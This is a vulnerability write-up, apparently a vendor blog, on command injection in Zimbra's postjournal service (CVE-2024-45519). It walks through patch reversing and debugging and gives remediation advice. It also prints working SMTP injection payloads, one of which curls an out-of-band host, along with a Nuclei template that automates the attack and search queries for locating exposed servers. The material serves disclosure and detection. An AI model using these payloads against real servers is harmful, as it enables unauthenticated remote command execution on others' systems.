-

7 min read

Zimbra - Remote Command Execution (CVE-2024-45519)

Zimbra - Remote Command Execution (CVE-2024-45519)

Zimbra, a widely used email and collaboration platform, recently released a critical security update addressing a severe vulnerability in its postjournal service. This vulnerability, identified as CVE-2024-45519, allows unauthenticated attackers to execute arbitrary commands on affected Zimbra installations. In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually. We also discuss the potential impact and emphasize the importance of timely patch application.

What's in the Patch?

We discovered that Zimbra uses the S3 bucket s3://repo.zimbra.com to host both packages and patches. Fortunately, the bucket had a public listing, which allowed us to locate the necessary patch.

To begin our analysis, we obtained the patched version of the postjournal binary from the latest Zimbra patch package: Zimbra Patch Package

By extracting the .deb file, we retrieved the patched postjournal binary located at ./opt/zimbra/lib/patches/postjournal.

Instead of performing a binary diff, we opted for a quicker approach by reversing the binary using Ghidra. We searched for critical functions such as system and exec* and discovered a function named run_command. This function was referenced by read_maps, prompting us to examine read_maps and trace its references up to the main function.

We established the following method call hierarchy:

c

1
main
2
└── msg_handler(MSG *msg)
3
└── expand_addrs
4
└── address_lookup
5
└── map_address
6
└── read_addr_maps
7
└── read_maps
8
└── run_command
9
└── execvp

In the patched version, execvp is used, and user input is passed as an array, which prevents direct command injection. Additionally, we noticed the introduction of an is_safe_input function that sanitizes the input before it's passed to execvp. We examined this function to identify any special characters that might lead to command injection.

c

1
int is_safe_input(char *input) {
2
if (input == NULL || *input == '\0') {
3
return 0;
4
}
5
for (char *c = input; *c != '\0'; c++) {
6
if (*c == ';' || *c == '&' || *c == '|' || *c == '`' || *c == '$' ||
7
*c == '(' || *c == ')' || *c == '<' || *c == '>' || *c == '\\' ||
8
*c == '\'' || *c == '\"' || *c == '\n' || *c == '\r') {
9
return 0;
10
}
11
}
12
return 1;
13
}

Diffing Binaries

To understand the vulnerability in the unpatched version, we obtained the original software: Unpatched Zimbra Package

We set up this version on our test server and reversed the postjournal binary. Surprisingly, we found that there were no calls to execvp or a function named run_command. Instead, in the read_maps function, a direct call to popen was made, passing a string constructed with our input without any sanitization.

Walkthrough of the postjournal Binary

Inside the main function, when an SMTP connection is initiated, the msg_handler function is called, which in turn processes the MSG object.

Call to expand_addrs

The msg_receiver function calls the msg_handler function which extracts the recipient addresses from the RCPT TO:<...> SMTP command which is stored in msg->rcpt_addresses variable. The value of msg->rcpt_addresses is set inside msg_receiver by the function rcpt_to_handler.

Then the expand_addrs function is called with these addresses.

Inside expand_addrs, the address_lookup function is invoked with the same addresses.

Inside the address_lookup function, the map_address function is called.

This leads to read_addr_maps, which eventually calls read_maps.

Within read_maps, a command string is constructed using a format string that includes the user-provided address.

Command string before popen

Finally, popen is called with the constructed command string, directly using our input.

Dynamic Binary Analysis via GDB

Based on our static analysis, we believed the following SMTP message should result in command injection on the postjournal service running on port 10027 (on loopback interface)

bash

1
EHLO localhost
2
MAIL FROM: <aaaa@mail.domain.com>
3
RCPT TO: <"aabbb;touch${IFS}/tmp/pwn;"@mail.domain.com>
4
DATA
5
aaa
6
.

To validate our findings, we set a breakpoint in GDB at read_maps and then just before the popen call in read_maps.

We inspected the cmd argument passed to popen:

Inspecting cmd argument

Notably, the cmd argument is enclosed in double quotes, which would prevent successful command injection using simple shell metacharacters. However, we realised that this could be bypassed using the $() syntax.

We crafted our input to exploit this:

Successful command execution

As a result, we successfully executed arbitrary commands, confirming the creation of the /tmp/pwn file.

Proof of Concept (PoC)

We tested the exploit directly on the postjournal service via port 10027 using the following SMTP commands:

kotlin

1
EHLO localhost
2
MAIL FROM: <aaaa@mail.domain.com>
3
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
4
DATA
5
Test message
6
.

Enabling postjournal and Exploiting via SMTP

Testing the exploit on port 10027 worked as expected. However, when attempting the same exploit over SMTP port 25, it was initially unsuccessful.

After some investigation, we discovered that the postjournal service is not enabled by default. To enable it, we executed:

bash

1
zmlocalconfig -e postjournal_enabled=true
2
zmcontrol restart

With postjournal enabled, we reran our exploit against SMTP port 25 and observed successful command execution. Initially, we conducted this test on our own Zimbra server for proof of concept. However, when attempting to exploit the vulnerability remotely over the internet, we faced failures.

Limitations

Upon reviewing the logs, we noticed that the RCPT address was being rejected due to the smtpd_relay_restrictions setting in postconf, which defaults to:

bash

1
smtpd_relay_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination

This configuration allows sending mail only if the client is authenticated or if the client is within the mynetworks list. Our initial PoC worked internally because we were connecting from the server itself.

We checked the mynetworks setting:

bash

1
postconf mynetworks

The output revealed:

javascript

1
mynetworks = 127.0.0.0/8 [::1]/128 <Public IP>/20 10.47.0.0/16 10.122.0.0/20

Surprisingly, on our instance,the default configuration included a /20 CIDR range of our public IP address in mynetworks. This means that the exploit could still be performed remotely if the postjournal service is enabled and the attacker is within the allowed network range.

Automating vulnerability detection with Nuclei

This Remote Command Injection vulnerability can be identified by utilizing the below Nuclei template:

yaml

1
id: CVE-2024-45519
2
3
info:
4
name: Zimbra Collaboration Suite < 9.0.0 - Remote Code Execution
5
author: pdresearch,iamnoooob,parthmalhotra,ice3man543
6
severity: critical
7
description: |
8
SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system’s integrity and confidentiality.
9
reference:
10
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
11
classification:
12
cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
13
metadata:
14
vendor: synacor
15
product: zimbra_collaboration_suite
16
shodan-query:
17
- http.title:"zimbra collaboration suite"
18
- http.title:"zimbra web client sign in"
19
- http.favicon.hash:1624375939
20
fofa-query:
21
- title="zimbra web client sign in"
22
- title="zimbra collaboration suite"
23
tags: cve,cve2024,rce,zimbra
24
25
javascript:
26
- pre-condition: |
27
isPortOpen(Host,Port);
28
code: |
29
let m = require('nuclei/net');
30
let address = Host+":"+Port;
31
let conn;
32
conn= m.Open('tcp', address)
33
conn.Send('EHLO localhost\r\n');
34
conn.RecvString()
35
conn.Send('MAIL FROM: <aaaa@mail.domain.com>\r\n');
36
conn.RecvString()
37
conn.Send('RCPT TO: <"aabbb$(curl${IFS}'+oast+')"@mail.domain.com>\r\n');
38
conn.RecvString()
39
conn.Send('DATA\r\n');
40
conn.RecvString()
41
conn.Send('aaa\r\n');
42
conn.RecvString()
43
conn.Send('.\r\n');
44
resp = conn.RecvString()
45
conn.Send('QUIT\r\n');
46
conn.Close()
47
resp
48
args:
49
Host: "{{Host}}"
50
Port: 25
51
oast: "{{interactsh-url}}"
52
53
matchers-condition: and
54
matchers:
55
- type: word
56
part: interactsh_protocol
57
words:
58
- "http"
59
60
- type: word
61
words:
62
- "message delivered"

We've also created a pull request to include this template in the public nuclei-templates GitHub repository.

Conclusion

Our analysis of CVE-2024-45519 highlights a critical vulnerability in Zimbra's postjournal service that allows unauthenticated remote command execution. The vulnerability stems from unsanitized user input being passed to popen in the unpatched version, enabling attackers to inject arbitrary commands.

While the patched version introduces input sanitization and replaces popen with execvp, mitigating direct command injection, it's crucial for administrators to apply the latest patches promptly. Additionally, understanding and correctly configuring the mynetworks parameter is essential, as misconfigurations could expose the service to external exploitation.

We strongly recommend that all Zimbra administrators:

  • Verify that postjournal is disabled if not required.
  • Ensure that mynetworks is correctly configured to prevent unauthorised access.
  • Apply the latest security updates provided by Zimbra.

By staying vigilant and proactive, organisations can protect themselves against such critical vulnerabilities and maintain the security of their email and collaboration platforms.


By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.